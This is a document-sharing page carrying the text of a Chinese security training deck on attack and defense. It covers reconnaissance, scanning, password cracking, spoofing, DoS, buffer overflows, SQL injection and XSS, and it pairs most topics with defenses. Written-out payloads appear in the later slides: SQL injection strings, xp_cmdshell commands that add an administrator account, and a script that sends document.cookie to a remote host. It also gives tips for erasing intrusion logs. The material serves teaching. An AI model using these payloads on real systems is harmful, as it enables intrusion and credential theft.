欢迎来到三一办公! | 帮助中心 三一办公31ppt.com(应用文档模板下载平台)
三一办公
全部分类
  • 办公文档>
  • PPT模板>
  • 建筑/施工/环境>
  • 毕业设计>
  • 工程图纸>
  • 教育教学>
  • 素材源码>
  • 生活休闲>
  • 临时分类>
  • ImageVerifierCode 换一换
    首页 三一办公 > 资源分类 > PPT文档下载  

    安全攻防实践.ppt

    • 资源ID:6458650       资源大小:1.25MB        全文页数:96页
    • 资源格式: PPT        下载积分:15金币
    快捷下载 游客一键下载
    会员登录下载
    三方登录下载: 微信开放平台登录 QQ登录  
    下载资源需要15金币
    邮箱/手机:
    温馨提示:
    用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)
    支付方式: 支付宝    微信支付   
    验证码:   换一换

    加入VIP免费专享
     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    安全攻防实践.ppt

    安全攻防实践,穆显亮,2,课程内容,安全攻防,知识体,知识域,安全攻防基础,安全攻防实践,知识子域,信息安全漏洞,3,知识域:安全攻防基础,知识子域:网络攻击基本概念术语了解网络攻击的基本常识了解黑客攻击的常用术语知识子域:网络攻击基本流程了解网络攻击的基本步骤了解网络攻击各个阶段常用的攻击手段和工具,4,网络攻击基本概念及术语,网络攻击的方式主动攻击:扫描、渗透、拒绝服务被动攻击:嗅探、钓鱼一些术语后门、RootKit0-day提权社会工程学BotNet(僵尸网络)B/S(Browser/Server),5,攻击的过程,信息收集分析目标实施攻击方便再次进入清理入侵记录,6,踩点-信息收集,具体见后面介绍,为什么要收集信息获取攻击目标大概信息网络信息主机信息应用部署信息指导下一步攻击行为信息收集的方式社会工程学媒体(如搜索引擎、广告介绍等)网络工具的探测,7,定位-分析目标,为什么需要分析目标确定收集信息的准确性更准确的判断(例如:index.ycs是java开发,开发人员修改了脚本后缀以迷惑攻击者)攻击方式及工具路径的选择分析目标的方法扫描漏洞库论坛等交互应用,8,入侵-多种多样的入侵方式,针对配置错误的攻击IPC$的攻击针对应用漏洞的攻击unicode缓冲区溢出攻击idq缓冲区溢出电子欺骗攻击ARP欺骗拒绝服务攻击syn flood针对弱口令的攻击口令破解利用服务的漏洞-本地输入法漏洞利用应用脚本开发的漏洞-SQL注入利用人的心理-社会工程学攻击,后门可以作什么方便下次直接进入监视用户所有行为、隐私完全控制用户主机后门放置方式如果已经入侵简单!如果尚未入侵手动放置利用系统漏洞,远程植入利用系统漏洞,诱骗执行,后门-方便下次进入,9,特洛伊木马随系统自启动修改注册表服务Ini文件RootKit设备驱动脚本后门难以查找隐藏账号考验管理人员耐心与细心,后门-方式,10,改写访问日志例如:IIS访问日志位置%WinDir%System32LogFilesW3SVC1exyymmdd.log改写日志的技巧修改系统日期删除中间文件删除创建的用户,抹去痕迹,11,信息收集与密码破解,知识子域:攻击目标信息收集了解目标系统网络地址、软件版本等信息获取方式了解网络设备、系统软件、应用软件扫描攻击的常用工具知识子域:密码破解原理与实例了解密码破解技术原理和口令安全基本知识了解密码破解常用工具及密码字典概念,12,13,信息收集技术,公开信息的合理利用及分析IP及域名信息收集主机及系统信息收集系统服务信息的收集系统、服务及应用漏洞信息收集,14,信息收集技术-公开信息的分析,公开信息的合理利用和分析-信息后面能反馈出什么?从著名的”照片泄密”案件到“如何用google入侵网站”,1964年中国画报封面衣着判断:北纬46度至48度的区域-齐齐哈尔与哈尔滨之间所握手柄的架式-油井的直径钻井与背后油田间的距离和井架密度-储量和产量 因此设计出适合中国大庆的设备,一举中标,15,信息收集技术-搜索引擎,网站信息举例:某网络提供商在其网站上宣传“特惠服务器租用:RedHat Linux 8.0 支持MY SQL/PHP 采用性能优异的Apache 1.3.XX Web服务器”搜索引擎Google搜索例:某Web服务器存在致命错误脚本“5sf67.jsp”攻击者可通过搜索引擎查找存在该错误脚本的网站,信息收集技术-域名与IP查询,16,域名与IP信息收集 WhoisWhois是一个标准服务,可以用来查询域名是否被注册以及注册的详细资料 Whois 可以查询到的信息域名所有者域名及IP地址对应信息联系方式域名到期日期域名注册日期域名所使用的 DNS Servers,信息收集技术-域名与IP查询,17,域名与IP查询 nslookup 操作系统自带命令,主要是用来查询域名名称和 IP 之间的对应关系,网络状况查询 Ping系统自带命令,测试与远端电脑或网络设备的连接状况网络路径状况查询 tracert系统自带命令,测试与远端电脑或网络设备之间的路径,18,信息收集技术-系统鉴别,1DNS的hinfo纪录2Banner grab3.二进制文件法4TCP/IP协议栈检测法5ICMP堆栈指纹技术,19,系统鉴别-DNS的hinfo记录,获取方法:dig hinfowww IN HINFO“Sparc Ultra 5”“Solaris 2.6”非常老的方法,现在一般没有管理员在dns记录里面添加hinfo纪录。,20,系统鉴别-服务旗标检测,服务旗标检测法 Debian GNU/Linux 2.1 target login:Redhat:/etc/issue、/etc/bsd:/etc/motdSolaris:/etc/motd缺陷:不准确,负责任的管理员一般都修改这个文件,21,系统鉴别-二进制文件分析法,得到远程系统的一个二进制文件例如1.web server 目录下产生的core文件2.配置不当的ftp server下的二进制文件利用file、readelf命令等来鉴别,22,系统鉴别-TCP/IP协议栈检测法,其原理是不同厂家的IP协议栈实现之间存在许多细微的差别,通过这些差别就能对目标系统的操作系统加以猜测。主动检测被动检测,23,系统鉴别-ICMP堆栈指纹技术,24,通过端口扫描确定主机开放的端口,不同的端口对应运行着的不同的网络服务,端口测试数据包,测试响应数据包,信息收集技术-端口扫描,我知道主机上开放的端口了,25,端口扫描类型,常规扫描(tcp connect scan)半打开扫描(tcp syn scan)隐秘扫描(Stealth Scan)SYN/ACK scan:发送一个SYN/ACK分组,测知防火墙的规则设计。它可确定防火墙是否只是简单的分组过滤(只允许已建立好的连接);还是一个基于状态的防火墙(可执行高级的分组过滤)FIN scan:发送FIN分组,目标系统应给所有关闭着的端口发回一个RST分组,这种技巧通常只工作在基于UNIX的TCP/IP协议上;Xmas scan:这一技巧是往目标端口发送一个FIN、URG、PUSH置位的分组,如果目标端口关闭,则返回一个RST分组;Null scan:发送所有标识位复位的TCP分组;UDP扫描,端口扫描-常规扫描,26,扫描的方法 TCP Connect Scan主要是利用TCP三次握手(Three-way handshaking)的连接方式來达到扫描的目的,A,B,1.SYN,2.SYN+ACK,3.ACK,三次握手,使用Nmap 做TCP Connect Scan,端口扫描-半打开扫描,27,扫描的方法 TCP SYN Scan沒有完成三次握手如左上图,当主机 A 收到主机 B 的回应后,並不会回传 ACK 数据包给主机 B。TCP SYN Scan的优缺点优点:由于沒有完成 TCP 三次握手,所以不会在目标主机上留下记录。缺点:需有管理者的权限才可执行TCP SYN Scan(以左上图为例,必需要有主机 A 的管理者权限)。,A,B,1.SYN,2.SYN+ACK,3.ACK,三次握手,使用Nmap 做TCP SYN Scan,端口扫描-UDP扫描,28,扫描的方法 UDP Port Scan由扫描主机发出 UDP 数据包给目标主机的 UDP Port,並等待目标主机 Port 送回ICMP Unreachable信息。若收到目标主机Port传回的ICMP Unreachable信息,则表示该 Port 处于关闭的状态。若沒有收到目标主机Port传回的ICMP Unreachable信息,则表示该 Port 可能处于Listen状态。UDP Port Scan的缺点UDP 协议不可靠可能被防火墙过滤掉,使用Nmap 做 udp Scan,29,端口扫描策略,随机端口扫描慢扫描碎片扫描欺骗扫描,信息收集技术-漏洞扫描,根据目标主机开放的不同应用和服务来扫描和判断是否存在或可能存在某些漏洞意义进行网络安全评估为网络系统的加固提供先期准备被网络攻击者加以利用来获取重要的数据信息,30,对一个信息系统来说,它的安全性不在于它是否采用了最新的加密算法或最先进的设备,而是由系统本身最薄弱之处,即漏洞所决定的。只要这个漏洞被发现,系统就有可能成为网络攻击的牺牲品。,信息安全的“木桶理论”,31,信息收集技术-漏洞扫描工具,网络设备漏洞扫描器Cisco Auditing Tools集成化的漏洞扫描器NessusShadow Security Scanner eEye的Retina Internet Security ScannerGFI LANguard 专业web扫描软件IBM appscanAcunetix Web Vulnerability数据库漏洞扫描器ISS Database ScanneroscannerOracle数据库扫描器Metacoretex 数据安全审计工具,工具介绍-端口扫描,Nmap简介被称为“扫描器之王”有for Unix和for Win的两种版本需要Libpcap库和Winpcap库的支持能够进行普通扫描、各种高级扫描和操作系统类型鉴别等使用-sS:半开式扫描-sT:普通connect()扫描-sU:udp端口扫描-O:操作系统鉴别-P0:强行扫描(无论是否能够ping通目标)-p:指定端口范围-v:详细模式,32,工具介绍-端口扫描,SuperScan简介基于Windows平台速度快,图形化界面使用傻瓜化,33,工具介绍-漏洞扫描,Nessus构架服务器端:基于Unix系统客户端:有GTK、Java和Win系统支持运作客户端连接服务器端,并下载插件和扫描策略真正的扫描由服务器端发起两者之间的通信通过加密认证优势:具有强大的插件功能完全免费,升级快速非常适合作为网络安全评估工具,34,工具介绍-漏洞扫描,X-Scan国产自主开发完全免费比较古老,缺乏维护,35,工具介绍-web安全扫描,IBM AppScan,36,37,Acunetix Web Vulnerability Scanner,优秀的Web安全测试软件,38,密码破解-利用人性懒惰,密码破解方法密码穷举暴力破解密码工具密码暴力破解工具密码字典生成工具,39,密码破解-密码穷举,已知密码加密算法及密文情况下的破解方法,40,ID:cisp psw:123456,Ok,you can login in,ID:cisp psw:,No,you can not login in,1,12,123,1234,12345,123456,OK,you can login in,No,you can not login in,No,you can not login in,No,you can not login in,No,you can not login in,密码破解-口令暴力猜解,破解工具,John the RipperL0Phtcrack,41,根据用户规则快速生成各类密码字典提高密码破解效率密码破解知识的具体体现攻击者常用的工具,字典生成器,42,系统及应用安全策略对抗密码限制密码尝试次数限制必须提供安全的密码密码有效期等好的密码特征自己容易记住,别人不好猜,密码破解安全防御,43,44,欺骗攻击与拒绝服务攻击,知识子域:欺骗攻击原理与实例理解IP欺骗、ARP欺骗、DNS欺骗的原理和危害了解防范欺骗攻击的基本方法知识子域:拒绝服务工具原理与实例理解SYN Flood、UDP Flood、Land攻击、TearDrop攻击等典型DoS攻击的原理及危害理解DDoS攻击的原理了解防范DoS/DDoS攻击的基本方法,45,欺骗攻击定义,B,A,C,Hello,Im B!,欺骗攻击(Spoofing)是指通过伪造源于可信任地址的数据包以使一台机器认证另一台机器的复杂技术,46,欺骗攻击的主要方式,IP欺骗(IP Spoof)DNS欺骗ARP欺骗TCP会话劫持路由欺骗,47,客户,服务器,Syn send,连接请求,回应(ISN),Syn+ack,确认(ISN+1),会话过程,IP欺骗基础知识-三次握手,48,IP欺骗实现步骤,IP欺骗攻击方法中包括了一系列攻击步骤,49,IP欺骗实例讲解,B,A,C,同步flood攻击,连接请求,伪造B进行系列会话,A的序数规则,50,防止IP欺骗,严格设置路由策略:拒绝来自网上,且声明源于本地地址的包使用最新的系统和软件,避免会话序号被猜出使用抗IP欺骗功能的产品严密监视网络,对攻击进行报警,51,ARP欺骗基础-Arp协议工作过程,bb:bb:bb:bb:bb,cc:cc:cc:cc:cc,aa:aa:aa:aa:aa,MAC aa:aa:aa:aa:is,I see,I will cache,52,ARP欺骗实现,bb:bb:bb:bb:bb,cc:cc:cc:cc:cc,aa:aa:aa:aa:aa,MAC cc:cc:cc:cc:cc is,I see,I will cache,MAC df:df:df:df:df is,I couldnt find,Internet地址 物理地址192.168.1.1 cc:cc:cc:cc:cc,53,ARP欺骗防御,使用静态ARP缓存IP 与MAC地址绑定ARP防御工具,54,DNS欺骗基础-DNS协议工作过程,?,?,其他DNS,I will cache,I dont know,I will ask other,1.1.1.1,?,Its in my cache,DNS服务器,客户机,客户机,DNS服务器,55,DNS欺骗实现,?,I dont know,I will ask other,?,Other DNS,is,I will cache,?,Its in my cache,攻击者,DNS服务器,DNS服务器,客户机,56,DNS欺骗防御,安装最新版本的DNS软件安全设置对抗DNS欺骗关闭DNS服务递归功能限制域名服务器作出响应的地址限制域名服务器作出响应的递归请求地址限制发出请求的地址,57,其他欺骗攻击-路由欺骗,ICMP重定向报文欺骗RIP路由欺骗 源径路由欺骗,58,拒绝服务攻击定义,拒绝服务式攻击(Denial of Service),顾名思义就是让被攻击的系统无法正常进行服务的攻击方式。拒绝服务攻击方式利用大量数据挤占网络带宽利用大量请求消耗系统性能利用协议实现缺陷利用系统处理方式缺陷,59,典型的拒绝服务攻击方式,SYN FloodUDP FloodTeardropLANDSmurf,(syn)Hello,Im here,(syn+ack)Im ready,?,Im waiting,SYN Flood,(syn)Hello,Im here,?,Im waiting,(syn)Hello,Im here,Im waiting,Im waiting,Im waiting,UDP FLOOD,UDP Flood 1)大量UDP小包冲击应用服务器(DNS、Radius认证等)2)利用系统服务形成流量(Echo chargen)3)利用正常UDP服务发送大流量形成网络拥塞,61,LAND攻击,运用IP Spoofing技术送出一连串SYN数据包给目标主机,让目标主机系统误以为这些数据包是由自己发送的。由于目标主机在处理这些数据包的时候,它自己并无法回应给自己SYN-ACK数据包,因而造成系统当机。,62,(SYN)hello,I,SYN,SYN,ACK,ACK,PSH 1:1025,PSH 1025:2049,PSH 2049:3073,FIN,ACK,PSH 1:1025,PSH 1000:2049,PSH 2049:3073,试图重组时主机崩溃,TearDrop(分片攻击),63,Smurf攻击,黑客伪装受害者IP,中间网站,目标子网络主机,目标子网络主机,目标子网络主机,攻击信息,大量ICMP封包(Layer3),子网络主机,子网络主机,子网络主机,目标网站,大量广播(Layer2),64,拒绝服务攻击的危害,消耗带宽瘫痪服务器DNS网页电子邮件阻塞网络路由器交换器,65,DDoS攻击原理,66,工具介绍,TFN2KTrinoo,67,3133527665,27444,udp,master,client,.主机列表,telnet,betaalmostdone,攻击指令,目标主机,nc,拒绝服务攻击防御,定期扫描过滤不必要的端口与服务节点配置防火墙/DDOS设备过滤IP地址限制SYN/ICMP流量检查来源,68,69,缓冲区溢出与网页脚本安全,知识子域:缓冲区溢出原理与实例理解缓冲区溢出的原理和危害了解防范缓冲区溢出的基本方法知识子域:网页脚本原理与实例理解SQL注入攻击的原理和危害了解防范SQL注入攻击的基本方法理解跨站脚本攻击的原理和危害了解防范跨站脚本攻击的基本方法,70,缓冲区溢出,缓冲区溢出原理缓冲区溢出简单示例缓冲区溢出防御,71,缓冲区溢出,原理 缓冲区溢出攻击利用编写不够严谨的程序,通过向程序的缓存区写入超过预定长度的数据,造成缓存的溢出,从而破坏程序的堆栈,导致程序执行流程的改变。基础知识堆栈寄存器指针,72,缓冲区溢出基础-堆栈及指针,堆栈概念一段连续分配的内存空间堆栈特点后进先出堆栈生长方向与内存地址方向相反指针指针是指向内存单元的地址寄存器有限存贮容量的高速存贮部件,它们可用来暂存指令、数据和位址,堆栈,栈底,栈底,73,简单示例,Buffer.c#include int main()char name8;printf(Please input your name:);gets(name);printf(you name is:%s!,name);return 0;,程序作用:将用户输入的内容打印在屏幕上,74,简单示例,75,简单示例,由于返回地址已经被覆盖,函数执行返回地址时会将覆盖内容当作返回地址,然后试图执行相应地址的指令,从而产生错误。,当我们全部输入a时,错误指令地址为0 x616161,0 x61是a 的ASCII编码,76,内存底部 内存顶部,name EBP ret cispcisp,堆栈顶部 堆栈底部,堆栈情况,name EBP ret aaaaaaaa aaaa aaaa,由于输入的name超过了定义变量的长度(8位),堆栈中预计的位置无法容纳,只好向内存顶部继续写a,由于堆栈的生长方向与内存的生长方向相反,用户输入的a覆盖了堆栈底部EBP和ret。程序在返回时,将EBP中的aaaa的ASCII码:0 x61616161作为返回地址,试图执行0 x61616161处指令,导致错误,形成一次堆栈溢出,77,缓冲区溢出危害,危害:如果可精确控制内存跳转地址,就可以执行指定代码,获得权限或破坏系统,78,缓冲区溢出其他知识,缓冲区溢出分类堆溢出栈溢出Shellcode一段用于溢出并获取权限的代码,79,缓冲区溢出防御,编写安全代码最根本的解决方法,对输入数据进行验证缓冲区不可执行技术使被攻击程序的数据段地址空间不可执行,从而使攻击者不可能执行输入缓冲区的代码指针完整性检查数组越界保护,网页脚本安全,脚本安全的概念SQL注入原理及危害跨站脚本原理及危害,80,概念,脚本攻击是针对Web应用的攻击脚本攻击主要是针对动态网站进行的攻击,其原因是在建立动态网页的过程中没有对用户的输入输出进行有效的合法性验证动态网站交互性:即网页会根据用户的要求和选择而动态改变和响应,将浏览器作为客户端界面自动更新:即无须手动地更新HTML文档,便会自动生成新的页面,可以大大节省工作量因时因人而变:即当不同的时间、不同的人访问同一网址时会产生不同的页面,81,脚本分类,静态脚本HTML动态脚本,82,83,SQL 注入,SQL注入(SQL Injection):程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作,SQL注入基础知识,SQL(Structured Query Language):结构化的查询语言,是关系型数据库通讯的标准语言。查询:Select statement from table where condition删除记录:delete from table where condition更新记录:update table set field=value where condtion添加记录:insert into table field values(values)常用函数Count()Asc(nchar),unicode(nchar)mid(str,n1,n2),substring(str,n1,n2),84,85,SQL注入简单示例,Select*from table where user=admin and pwd=SdfG#345!;,admin,SdfG#345!,Select*from table where user=admin and pwd=123 or 1=1,admin,123 or 1=1,由于密码的输入方式,使得查询语句返回值永远为True,因此通过验证,SQL注入范例-收集信息,86,httpand 1=1Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14 MicrosoftODBC Microsoft Access Driver 字符串的语法错误 在查询表达式 id=772 中。/displaynews.asp,行31 说明:数据库为Access 程序没有对于id进行过滤 数据库表中有个字段名为id,SQL注入范例操作数据库,http:/And(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);-Select*from 表名 where 字段=49 And(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);,87,SQL注入范例执行系统命令,关键点:SQL Server内置的存储过程xp_cmdshellhttp:/master.xp_cmdshell“net user name password/add”http:/master.xp_cmdshell“net localgroup administrators name/add”-,88,89,SQL注入防御,开发时过滤特殊字符:单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符过滤的对象:用户的输入提交的URL请求中的参数部分从cookie中得到的数据部署防SQL注入系统或脚本,跨站脚本,定义跨站脚本(CSS-Cross Site Scripting)在远程Web页面的HTML代码中插入的具有恶意目的的数据,用户认为该页面是可信的,但是当浏览器下载该页面时,嵌入其中的脚本将被解释执行跨站脚本成因CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。这种攻击利用的是用户和服务器之间的信任关系,以及Web站点没有使用有效的输入输出验证来拒绝嵌入的脚本。,90,跨站脚本危害,1 获取其他用户Cookie中的敏感数据 2 屏蔽页面特定信息 3 伪造页面信息 4 拒绝服务攻击 5 突破外网内网不同安全设置 6 与其它漏洞结合7 其它,91,跨站脚本范例-执行Javascript,有很多种方式可造成Javascript的执行,以下举例两种最原始的范例如下:第二种方式,利用expression指令来造成javascript执行,范例如下:,92,body background-image:url(javascript:alert(XSS);,body background-image:expression(alert(XSS);,跨站脚本危害范例-Cookies窃取,93,Web服务器URL,大小为0的iframe,将字符编码传送,var code;var target=http:/192.168.1.1/?;info=escape(document.cookie);target=target+info;code=;document.write(code);,94,跨站脚本危害-窃取Cookies,更改Cookies成功获取身份,95,小结,脚本攻击从本质上是一种过滤不足造成的攻击脚本是不需要编译的程序代码,依赖脚本引擎来解释执行,具有很好的操作系统适应性和可移植性如果不可信的内容被引入到动态页面中,则无论是网站还是客户机都没有足够的信息识别这种情况的发生并采取保护措施脚本攻击方法主要包括:SQL注入攻击、命令注入、跨站脚本攻击等,谢谢,请提问题!,

    注意事项

    本文(安全攻防实践.ppt)为本站会员(牧羊曲112)主动上传,三一办公仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知三一办公(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    备案号:宁ICP备20000045号-2

    经营许可证:宁B2-20210002

    宁公网安备 64010402000987号

    三一办公
    收起
    展开